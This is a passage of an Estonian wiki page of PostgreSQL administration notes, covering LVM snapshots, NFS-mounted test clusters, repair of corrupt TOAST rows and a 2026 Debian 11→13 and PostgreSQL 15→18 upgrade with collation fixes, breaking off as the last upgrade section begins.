* Suuremate tabelite nimekirja esitamine, koos vastavate indexite ja toastidega&lt;br /&gt;
&lt;br /&gt;
 SELECT nspname || '.' || relname AS &amp;quot;relation&amp;quot;,&lt;br /&gt;
    pg_size_pretty(pg_total_relation_size(C.oid)) AS &amp;quot;size&amp;quot;&lt;br /&gt;
   FROM pg_class C&lt;br /&gt;
   LEFT JOIN pg_namespace N ON (N.oid = C.relnamespace)&lt;br /&gt;
   WHERE nspname NOT IN ('pg_catalog', 'information_schema') and relkind='r'&lt;br /&gt;
   ORDER BY pg_total_relation_size(C.oid) DESC&lt;br /&gt;
   LIMIT 20;&lt;br /&gt;
&lt;br /&gt;
* pg_controldata programmiga saab küsida infot andmeklustri kohta, protsessid võiksid sel ajal pigem mitte töötada&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.2/bin/pg_controldata /var/lib/postgresql/9.2/main &lt;br /&gt;
 pg_control version number:            922&lt;br /&gt;
 Catalog version number:               201204301&lt;br /&gt;
 Database system identifier:           6004185537552842495&lt;br /&gt;
 Database cluster state:               in production&lt;br /&gt;
 pg_control last modified:             Tue Oct  7 15:01:55 2014&lt;br /&gt;
 Latest checkpoint location:           1CC/83B86EE0&lt;br /&gt;
 Prior checkpoint location:            1CC/83AD1C30&lt;br /&gt;
 Latest checkpoint's REDO location:    1CC/83B7B2C8&lt;br /&gt;
 Latest checkpoint's TimeLineID:       2&lt;br /&gt;
 Latest checkpoint's full_page_writes: on&lt;br /&gt;
 Latest checkpoint's NextXID:          0/160131529&lt;br /&gt;
 Latest checkpoint's NextOID:          98092825&lt;br /&gt;
 Latest checkpoint's NextMultiXactId:  13515&lt;br /&gt;
 Latest checkpoint's NextMultiOffset:  27409&lt;br /&gt;
 Latest checkpoint's oldestXID:        675&lt;br /&gt;
 Latest checkpoint's oldestXID's DB:   1&lt;br /&gt;
 Latest checkpoint's oldestActiveXID:  0&lt;br /&gt;
 Time of latest checkpoint:            Tue Oct  7 15:01:50 2014&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* defaultist erineva collate ja ctype väärtustega create database baasi tekitamine, eelduseks on, et kõik baasid on UTF-8 kodeeringus&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database db_jira_c template = template0 lc_collate = 'C.UTF-8' lc_ctype='C.UTF-8';&lt;br /&gt;
&lt;br /&gt;
tulemusena on&lt;br /&gt;
&lt;br /&gt;
 postgres=# \l&lt;br /&gt;
                                     List of databases&lt;br /&gt;
      Name     |   Owner    | Encoding |   Collate   |    Ctype    |   Access privileges   &lt;br /&gt;
 --------------+------------+----------+-------------+-------------+----------------------&lt;br /&gt;
 .. &lt;br /&gt;
  db_jira      | jira       | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | &lt;br /&gt;
  db_jira_c    | postgres   | UTF8     | C.UTF-8     | C.UTF-8     | &lt;br /&gt;
  template0    | postgres   | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | =c/postgres          +&lt;br /&gt;
               |            |          |             |             | postgres=CTc/postgres&lt;br /&gt;
  template1    | postgres   | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | =c/postgres          +&lt;br /&gt;
               |            |          |             |             | postgres=CTc/postgres&lt;br /&gt;
&lt;br /&gt;
===Rakendus kasutab andmebaasi===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL andmebaasis vaikimis olemas oleva kasutaja nimi on postgres ja seal on olemas create database postgres. Neid kumbagi ei tohiks kasutada rakenduse andmete jaoks. Seoses rakendusega on andmebaasis juurutatud &lt;br /&gt;
&lt;br /&gt;
* kasutaja rakendusenimi_admin - sellele kasutajale kuuluvad rakendusega seotud andmebaasi objektid (skeemid, tabelid, funktsioonid jne); kasutaja ei ole PostgreSQL superuser privileegiga&lt;br /&gt;
* kasutaja rakendusenimi_user - selle kasutajana pöördub baasi poole rakendus, kasutajale on antud grant lausete abil õigus kuhu vaja teha select, update jms; kasutaja ei ole PostgreSQL superuser privileegiga&lt;br /&gt;
* create database andmebaas rakenduse_baas - selle ja kõigi seal sisalduvate objektide omanik on rakendusenimi_admin, kusjuures rakendus ei tohiks kasutada public skeemi vaid spetsiifiliste nimedega skeeme&lt;br /&gt;
&lt;br /&gt;
Selline tulemus tekib nt sellise järgnevuse tulemusena&lt;br /&gt;
&lt;br /&gt;
* ühendutakse uude tühja PostgreSQL andmebaasi kasutajana postgres ning tekitatakse kaks mitte-superuser kasutajat&lt;br /&gt;
* ühendutakse uude PostgreSQL andmebaasi kasutajana postgres ning tekitatakse rakenduse jaoks create database rakenduse_baas näidates omaniku&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; create database rakenduse_baas owner = rakendusenimi_admin;&lt;br /&gt;
&lt;br /&gt;
* ühendutakse baasi kasutajana rakendusenimi_admin ja tekitatakse andmebaasiobjektid (skeemid, tabelid jne)&lt;br /&gt;
* ühendutakse baasi kasutajana rakendusenimi_admin ja lisatakse vajalikud grantid rakendusenimi_user jaoks&lt;br /&gt;
&lt;br /&gt;
Oluline on seejuures, et andmebaasi rakenduse_baas süsteemseid objekte ei muudeta ära postgres kasutaja omandusest (nt create database rakendusenimi_baas skeemid information_schema või pg_catalog).&lt;br /&gt;
&lt;br /&gt;
Kui selliselt moodustatud baasist (või mõnest osast, nt skeem, tabel) teha postgres või rakendusenimi_admin kasutajana dump, siis on seal automaatselt sees vajalikud alter ja grant laused. Kui mõnes teises PostgreSQL andmebaasiserveris on olemas kasutajad rakendusenimi_admin ja rakendusenimi_user, siis saab sinna mainitud dumpi laadida sisse postgres või rakendusenimi_admin kasutajana ning tekivad sobivate omanikega ja grantidega objektid.&lt;br /&gt;
&lt;br /&gt;
===LVM, NFS ja PostgreSQL kasutamine andmebaasi hooldustöös===&lt;br /&gt;
&lt;br /&gt;
Toetudes sellistele asjaoludele, saab kasutada kiireid ja mugavaid haldusprotseduure&lt;br /&gt;
&lt;br /&gt;
* Debiani ja Ubuntu paketihalduse PostgreSQL sisaldab võimalust hästi hõlpsasti käivatada ühes arvutis st operatsioonisüsteemis mitut andmebaasi eksemplari (st postgres protsesside komplekti)&lt;br /&gt;
* LVM plokkseadme haldusvahendid&lt;br /&gt;
* NFS serveri ja kliendi võimalused&lt;br /&gt;
&lt;br /&gt;
====LVM kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
Käesolevas punktis juhitakse tähelepanu kuidas PostgreSQL töös kasutada ära LVM võimalusi. Põhiliselt seisneb see LVM snapshot kasutamisel. Eelduseks on , et operatsioonisüsteemis on LVM tugi olemas (reeglina on see nii paratamatult) ning seda kasutatakse andmebaasi failisüsteem all, nt nii&lt;br /&gt;
&lt;br /&gt;
 # df -h&lt;br /&gt;
 Filesystem                                           Size  Used Avail Use% Mounted on&lt;br /&gt;
 ..&lt;br /&gt;
 /dev/mapper/pgdata-data_postgresql                   158G  135G   16G  90% /var/lib/postgresql&lt;br /&gt;
 /dev/mapper/pgdata-data_backup                        36G   25G  9.2G  73% /data/backup&lt;br /&gt;
&lt;br /&gt;
LVM snapshot kasutamine annab võimaluse kasutada ajahetkel vastavat baasi seisu nö lühiajaliseks katseks (ajalise kestuse võimaluse määrab LVM snapshotile eraldatud mahu ressursi suurus; nb! kui näidatud maht saab täis jääb baas seisma ja enam andmetele vähemalt kergesti ligi ei pääse)&lt;br /&gt;
&lt;br /&gt;
* peatada baasi protsessid&lt;br /&gt;
* ühendada lahti /var/lib/postgresql failisüsteem&lt;br /&gt;
* tekitada snapshot&lt;br /&gt;
&lt;br /&gt;
 # lvcreate -L 40G -s -n data_postgresql_20150326_tootanud /dev/pgdata/data_postgresql&lt;br /&gt;
&lt;br /&gt;
* ühendada snapshot failisüsteem /var/lib/postgresql alla&lt;br /&gt;
&lt;br /&gt;
 # mount /dev/pgdata/data_postgresql_20150326_tootanud /var/lib/postgresql&lt;br /&gt;
&lt;br /&gt;
* käitada baasi protsessid&lt;br /&gt;
&lt;br /&gt;
Peale katse lõppu &lt;br /&gt;
&lt;br /&gt;
* peatada protsessid&lt;br /&gt;
* ühendada snapshoti failisüsteem lahti&lt;br /&gt;
* kustutada snapshot&lt;br /&gt;
&lt;br /&gt;
 # lvremove /dev/pgdata/data_postgresql_20150326_tootanud&lt;br /&gt;
&lt;br /&gt;
* ühedada algne failisüsteem külge&lt;br /&gt;
* käivitada protsessid&lt;br /&gt;
&lt;br /&gt;
Lisaks on võimalus käivitada kaks PostgreSQL eksemplari paraleelselt, selleks tuleb tekida snapshot nagu kirjeldatud, käivitada tagasi originaal ning valmistada ette teise (st snapshotilt töötava) andmebaasi eksemplari seadistused&lt;br /&gt;
&lt;br /&gt;
 # cp -a /etc/postgresql/9.4/main /etc/postgresql/9.4/test&lt;br /&gt;
&lt;br /&gt;
ning kohendada postgresql.conf seadistusfailis parameetreid&lt;br /&gt;
&lt;br /&gt;
* data kataloog&lt;br /&gt;
* pid fail&lt;br /&gt;
* archive log välja lülitada&lt;br /&gt;
* logi kataloog&lt;br /&gt;
* port - nt 5433&lt;br /&gt;
* ressursikasutus üle vaadata (shared_buffers, max_connections)&lt;br /&gt;
&lt;br /&gt;
nt selliselt&lt;br /&gt;
&lt;br /&gt;
 # diff /etc/postgresql/9.4/main/postgresql.conf /etc/postgresql/9.4/test/postgresql.conf&lt;br /&gt;
 &amp;lt; data_directory = '/var/lib/postgresql/9.4/main'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; data_directory = '/var/lib/postgresql/9.4/test'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; hba_file = '/etc/postgresql/9.4/main/pg_hba.conf'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; hba_file = '/etc/postgresql/9.4/test/pg_hba.conf'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; ident_file = '/etc/postgresql/9.4/main/pg_ident.conf'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; ident_file = '/etc/postgresql/9.4/test/pg_ident.conf'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; external_pid_file = '/var/run/postgresql/9.4-main.pid'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; external_pid_file = '/var/run/postgresql/9.4-test.pid'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; port = 5432&lt;br /&gt;
 &amp;lt; max_connections = 100&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; port = 5433&lt;br /&gt;
 &amp;gt; max_connections = 30&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; shared_buffers = 2GB&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; shared_buffers = 384MB&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; archive_mode = off&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; # archive_mode = off&lt;br /&gt;
  &lt;br /&gt;
 &amp;lt; stats_temp_directory = '/var/run/postgresql/9.4-main.pg_stat_tmp'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; stats_temp_directory = '/var/run/postgresql/9.4-test.pg_stat_tmp'&lt;br /&gt;
&lt;br /&gt;
ühendada külge sobivasse punkti failisüsteemis, nt&lt;br /&gt;
&lt;br /&gt;
 # mkdir /var/lib/postgresql/9.2/test&lt;br /&gt;
 # mount /dev/pgdata/data_postgresql_20150326_tootanud /var/lib/postgresql/9.2/test&lt;br /&gt;
&lt;br /&gt;
ning käivitada teine eksemplar&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.4 test start&lt;br /&gt;
&lt;br /&gt;
Tulemusena on kaks eksemplari&lt;br /&gt;
&lt;br /&gt;
 # pg_lsclusters &lt;br /&gt;
 Ver Cluster    Port Status Owner    Data directory                  Log file&lt;br /&gt;
 9.2 main       5432 online postgres /var/lib/postgresql/9.2/main    /var/log/postgresql/postgresql-%Y-%m-%d_%H%M%S.log&lt;br /&gt;
 9.2 test       5433 online postgres /var/lib/postgresql/9.2/test    /var/log/postgresql-test/postgresql-%Y-%m-%d_%H%M%S.log&lt;br /&gt;
&lt;br /&gt;
Kui LVM snapshot tehti töötavast andmeklastri kataloogist, siis saab käivitamisel sellise veateate&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.2 test start&lt;br /&gt;
 Cluster is already running.&lt;br /&gt;
&lt;br /&gt;
Teda segab selline fail, mis tuleb eemaldada&lt;br /&gt;
&lt;br /&gt;
 # cat /var/lib/postgresql/9.2/test/postmaster.pid &lt;br /&gt;
 2025&lt;br /&gt;
 /var/lib/postgresql/9.2/main&lt;br /&gt;
 1473969248&lt;br /&gt;
 5432&lt;br /&gt;
 /var/run/postgresql&lt;br /&gt;
&lt;br /&gt;
====NFS kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
PostgreSQL töötab põhimõtteliselt ilusti üle NFS külge ühendatud failisüsteemiga. Seejuures tuleb muidugi arvestada, et NFS ressursi jõudlus ei ole tingimata selliste omadustega nagu lokaalne või FC ressurss. NFS ja LVM kombineerimine eemaldab eelmises punktis kirjeldatud tegevustelt samas arvutis töötamise piirangu. St võimalik on LVM snapshotilt käivitada andmebaas teises arvutis. Selleks tuleb &lt;br /&gt;
&lt;br /&gt;
* moodustada LVM snaphost&lt;br /&gt;
* snapshot failisüsteem ühendada külge nagu kirjeldatud eelmises punktis (NB! mitte käivitada lokaalselt sealt protsesse, vastasel juhul tekib konflikt kuna samu andmebaasi faile kasutatakse kahest arvutist sõltumatult)&lt;br /&gt;
* Seejärel tuleb jagada snapshoti failisüsteem välja NFS serveris (10.100.13.159 on NFS klient)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/exports&lt;br /&gt;
 /var/lib/postgresql/9.2/test      10.100.13.159(rw,sync,no_subtree_check)&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # /etc/init.d/nfs-kernel-server reload&lt;br /&gt;
&lt;br /&gt;
* kliendi arvutis külge ühendada (10.100.13.174 on NFS server)&lt;br /&gt;
&lt;br /&gt;
 # mount 10.100.13.174:/var/lib/postgresql/9.2/test /var/lib/postgresql/9.2/test&lt;br /&gt;
&lt;br /&gt;
* edasi kasutada sarnaselt kui eelmises punktis teist eksemplari&lt;br /&gt;
&lt;br /&gt;
====LVM ja NFS kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
Kahe eelmise punkti üks variantsioon on võimalus mugavalt läbi proovida andmebaasi versiooni uuendamist pg_upgrade utiliidi abil. St teises arvutis on siis olemas&lt;br /&gt;
&lt;br /&gt;
* snapshotilt tulev vana baasi failisüsteem üle NFS&lt;br /&gt;
* peab olema vana baasi versioonile vastav tarkvara paigaldatud lokaalselt (nt v. 8.4)&lt;br /&gt;
* uue baasi versiooni tarkvara paigaldatud lokaalselt (nt v. 9.4)&lt;br /&gt;
&lt;br /&gt;
Ja tulemusena peab saama öelda nö&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_upgrade -b /usr/lib/postgresql/8.4/bin -B /usr/lib/postgresql/9.4/bin -d /var/lib/postgresql/8.4/test \&lt;br /&gt;
   -D /var/lib/postgresql/9.4/test -p 5432 -P 5433 -o ' -D /etc/postgresql/8.4/test' -O ' -D /etc/postgresql/9.4/test' -c&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi vigade parandamine===&lt;br /&gt;
&lt;br /&gt;
====XXX viga====&lt;br /&gt;
&lt;br /&gt;
Probleemiks on baasi dump käigus tekkiv viga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pg_dump -p 5435 -Fc -f baasinimi.dump baasinimi&lt;br /&gt;
pg_dump: Dumping the contents of table &amp;quot;failid&amp;quot; failed: PQgetResult() failed.&lt;br /&gt;
pg_dump: Error message from server: ERROR:  unexpected chunk number 570 (expected 568) for toast value 241844880 in pg_toast_62025918&lt;br /&gt;
pg_dump: The command was: COPY public.failid (faili_id, yhistu_id, perioodi_id, arve_id, dokumendi_id, ...) TO stdout;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tööpõhimõte&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
failid2 tabeli tekitamiseks sobib öelda (nb! ei tekitata constrainitisid jms)&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# select * into failid2 from failid limit 1;&lt;br /&gt;
 baasinimi=# delete from failid2;&lt;br /&gt;
&lt;br /&gt;
Vigaste kirjete leidmine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-- FUNCTION: public.imre10(integer, integer)&lt;br /&gt;
&lt;br /&gt;
-- DROP FUNCTION public.imre10(integer, integer);&lt;br /&gt;
&lt;br /&gt;
CREATE OR REPLACE FUNCTION public.imre10(&lt;br /&gt;
	integer,&lt;br /&gt;
	integer)&lt;br /&gt;
    RETURNS character varying&lt;br /&gt;
    LANGUAGE 'plpgsql'&lt;br /&gt;
&lt;br /&gt;
    COST 100&lt;br /&gt;
    VOLATILE &lt;br /&gt;
AS $BODY$&lt;br /&gt;
DECLARE&lt;br /&gt;
    badid INT;&lt;br /&gt;
	vfaili_id integer;&lt;br /&gt;
	vyhistu_id integer;&lt;br /&gt;
	vperioodi_id integer;&lt;br /&gt;
	varve_id integer;&lt;br /&gt;
	vdokumendi_id integer;&lt;br /&gt;
        ...&lt;br /&gt;
	loc varchar;&lt;br /&gt;
BEGIN&lt;br /&gt;
FOR badid IN SELECT faili_id FROM failid LOOP&lt;br /&gt;
    BEGIN&lt;br /&gt;
        select faili_id into vfaili_id FROM failid where faili_id = badid;&lt;br /&gt;
        select yhistu_id into vyhistu_id FROM failid where faili_id = badid;&lt;br /&gt;
	select perioodi_id into vperioodi_id FROM failid where faili_id = badid;&lt;br /&gt;
	select arve_id into varve_id FROM failid where faili_id = badid;&lt;br /&gt;
	select dokumendi_id into vdokumendi_id from failid where faili_id = badid;&lt;br /&gt;
        ...&lt;br /&gt;
	insert into failid2 (faili_id, yhistu_id, arve_id, dokumendi_id, ...) values (vfaili_id, vyhistu_id, varve_id, vdokumendi_id, ...);&lt;br /&gt;
        -- RAISE NOTICE 'Hello World %', badid::int;&lt;br /&gt;
    EXCEPTION&lt;br /&gt;
        WHEN OTHERS THEN&lt;br /&gt;
           RAISE NOTICE 'Data for ID % is corrupt', badid;&lt;br /&gt;
           CONTINUE;&lt;br /&gt;
    END;&lt;br /&gt;
END LOOP;&lt;br /&gt;
return 'tere';&lt;br /&gt;
END;&lt;br /&gt;
$BODY$;&lt;br /&gt;
&lt;br /&gt;
ALTER FUNCTION public.imre10(integer, integer)&lt;br /&gt;
    OWNER TO imre;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käivitamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
baasinimi=# select imre10(1, 1);&lt;br /&gt;
NOTICE:  Data for ID 2594124 is corrupt&lt;br /&gt;
NOTICE:  Data for ID 2594125 is corrupt&lt;br /&gt;
 imre10&lt;br /&gt;
--------&lt;br /&gt;
 tere&lt;br /&gt;
(1 row)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vigaste kirjete kustutamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
baasinimi=# select * from failid where faili_id = '2594124';&lt;br /&gt;
ERROR:  unexpected chunk number 570 (expected 568) for toast value 241844880 in pg_toast_62025918&lt;br /&gt;
baasinimi=# select * from failid where faili_id = '2594125';&lt;br /&gt;
ERROR:  unexpected chunk number 62 (expected 60) for toast value 241844882 in pg_toast_62025918&lt;br /&gt;
&lt;br /&gt;
baasinimi=# delete from failid where faili_id = '2594124';&lt;br /&gt;
DELETE 1&lt;br /&gt;
baasinimi=# delete from failid where faili_id = '2594125';&lt;br /&gt;
DELETE 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.postgresql.org/message-id/CACut7uSkZrpFHtDEq6UCoOd5fMpXDvmhzGSh=ZHJx86Ac=nOUg@mail.gmail.com&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# table pg_hba_file_rules;&lt;br /&gt;
 line_number | type  |   database    | user_name  |  address  |                 netmask                 | auth_method | options | error &lt;br /&gt;
-------------+-------+---------------+------------+-----------+-----------------------------------------+-------------+---------+-------&lt;br /&gt;
          85 | local | {all}         | {postgres} |           |                                         | peer        |         | &lt;br /&gt;
          90 | local | {all}         | {all}      |           |                                         | peer        |         | &lt;br /&gt;
          92 | host  | {all}         | {all}      | 127.0.0.1 | 255.255.255.255                         | md5         |         | &lt;br /&gt;
          94 | host  | {all}         | {all}      | 0.0.0.0   | 0.0.0.0                                 | md5         |         | &lt;br /&gt;
          97 | local | {replication} | {all}      |           |                                         | peer        |         | &lt;br /&gt;
          98 | host  | {replication} | {all}      | 127.0.0.1 | 255.255.255.255                         | md5         |         | &lt;br /&gt;
          99 | host  | {replication} | {all}      | ::1       | ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff | md5         |         | &lt;br /&gt;
(7 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===2026 kevade märkused===&lt;br /&gt;
&lt;br /&gt;
* lähtepunktiks on töötav debian v. 11 ja pgdg v. 15 postgresql andmebaas, pgbackrest on kasutusel varundamiseks ssh serverisse, zabbix agent2&lt;br /&gt;
* disableda systemd abil postgresql ja postgresql@15-main, /etc/fstab kommenteerida välja '/var/lib/postgresql', virtuaalse pve arvuti shutdown ja teha pbs varundus mitte-töötavast arvutist&lt;br /&gt;
* eemaldada zabbix-agent2 pakett&lt;br /&gt;
* arvuti käivitada ja uuendada 11 -&amp;gt; 12 -&amp;gt; 13 debian operatsioonisüsteem ja pgdg tarkvara (muutes bullseye -&amp;gt; bookworm -&amp;gt; trixie apt sources konfis)&lt;br /&gt;
* veenduda et /etc/postgresql-common/pgcreatecluster.d/moraal.conf on sobiva sisuga, vt all pool&lt;br /&gt;
* paigaldada postgresql-18 pakett&lt;br /&gt;
* monteerida külge '/var/lib/postgresql'&lt;br /&gt;
* teha igaks juhuks koopia /var/lib/postgreql/15/main kataloogist&lt;br /&gt;
* käivitada uuendatud olukorras postgresql v. 15 ja korrigeerida libc uuendusest tulenevad probleemid, vt all pool&lt;br /&gt;
* uuendada postgresql andmestik pg_clusterupgrade abil 15 -&amp;gt; 18, analyze jne (pg_clusterupgrade väljund õpetab)&lt;br /&gt;
* enableda systemd abil postgresql ja postgresql@18-main&lt;br /&gt;
* paigaldada zabbix-agent2 pakett (seejuures vist tekib automaatselt pinning /etc/apt/preferences.d/zabbix abil repo.zabbix.com peale või versioonile)&lt;br /&gt;
&lt;br /&gt;
====pg v. 15 all Debian v 11 -&amp;gt; v 13 uuendamine====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt ei tegele postgresql tarkvara enda uuendamisega, aga postgresqli sama versiooni mõjutava libc uuenduse mõjuga, Debian v 11 puhul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# dpkg -l libc6 | grep ^ii&lt;br /&gt;
ii  libc6:amd64    2.31-13+deb11u13 amd64        GNU C Library: Shared libraries&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja Debian v 13 puhul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# dpkg -l libc6 | grep ^ii&lt;br /&gt;
ii  libc6:amd64    2.41-12+deb13u2 amd64        GNU C Library: Shared libraries&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
probleem paistab välja logis nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2026-05-12 23:05:36.689 EEST [3152] LOG:  starting PostgreSQL 15.17 (Debian 15.17-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit&lt;br /&gt;
2026-05-12 23:05:36.690 EEST [3152] LOG:  listening on IPv4 address &amp;quot;0.0.0.0&amp;quot;, port 5432&lt;br /&gt;
2026-05-12 23:05:36.690 EEST [3152] LOG:  listening on IPv6 address &amp;quot;::&amp;quot;, port 5432&lt;br /&gt;
2026-05-12 23:05:36.691 EEST [3152] LOG:  listening on Unix socket &amp;quot;/var/run/postgresql/.s.PGSQL.5432&amp;quot;&lt;br /&gt;
2026-05-12 23:05:36.697 EEST [3155] LOG:  database system was shut down at 2026-05-12 22:18:29 EEST&lt;br /&gt;
2026-05-12 23:05:36.707 EEST [3152] LOG:  database system is ready to accept connections&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 WARNING:  database &amp;quot;template1&amp;quot; has a collation version mismatch&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE template1 REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.&lt;br /&gt;
2026-05-12 23:05:38.265 EEST [3165] postgres@template1 WARNING:  database &amp;quot;template1&amp;quot; has a collation version mismatch&lt;br /&gt;
2026-05-12 23:05:38.265 EEST [3165] postgres@template1 DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
postgres@test-db:~$ psql&lt;br /&gt;
WARNING:  database &amp;quot;postgres&amp;quot; has a collation version mismatch&lt;br /&gt;
DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE postgres REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.&lt;br /&gt;
psql (18.3 (Debian 18.3-1.pgdg13+1), server 15.17 (Debian 15.17-1.pgdg13+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* andmebaas kurdab, et binary data on tekitqtud libc v. 2.31 koosseisus oleva collationi abil ja praegu süsteem kasutab libc v. 2.41&lt;br /&gt;
&lt;br /&gt;
lahendus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@test-db:~$ reindexdb --all 1&amp;gt; reindexdb-all.log 2&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
postgres@test-db:~$ psql&lt;br /&gt;
psql (15.17 (Debian 15.17-1.pgdg13+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;template1&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;db_infosysteem&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;postgres&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* reindexdb on käsk mis tuleb anda töötava baasi suhtes (mitte failisüsteemis lebavate binary data failide suhtes)&lt;br /&gt;
* pigem mitte kasutada reindexdb concurrency võimalusi (tundub, et ta ei tööta teatud tabelitega vms, tekitab .ccnew nimelisi laokile jäävaid indekseid; samas teadlikult kasutades võib olla abi)&lt;br /&gt;
* reindex muudab andmeid&lt;br /&gt;
* alter database .. refresh collation muudab nö raamatupidamist (tehniliselt saaks teha näiliselt baasi korda ka ilma reindex käsku ütlemata, aga küllap loodus sekkub varsti sel juhul)&lt;br /&gt;
&lt;br /&gt;
Tulemuse kontrollimine, veenduda, et pole katkisi indekseid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# SELECT relname as index_name&lt;br /&gt;
FROM pg_class c&lt;br /&gt;
JOIN pg_index i ON c.oid = i.indexrelid&lt;br /&gt;
WHERE i.indisvalid = false;&lt;br /&gt;
 index_name&lt;br /&gt;
------------&lt;br /&gt;
(0 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning, et peale muudatusi on datcollversion sobiva väärtusega (uuemaga kui enne muudatust, näiteks)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# SELECT datname, datcollversion FROM pg_database;&lt;br /&gt;
         datname          | datcollversion&lt;br /&gt;
--------------------------+----------------&lt;br /&gt;
 template0                |&lt;br /&gt;
 template1                | 2.41&lt;br /&gt;
 db_infosysteem           | 2.41&lt;br /&gt;
 postgres                 | 2.41&lt;br /&gt;
(4 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL v 15 -&amp;gt; v 18 uuendamine====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt tegeleb postgresql tarkvara enda uuendamisega. Üldised ettevalmistused, lülitada välja pgbackrest varundamine selleks, et olemasolevat varundust mitte eksitada&lt;br /&gt;
&lt;br /&gt;
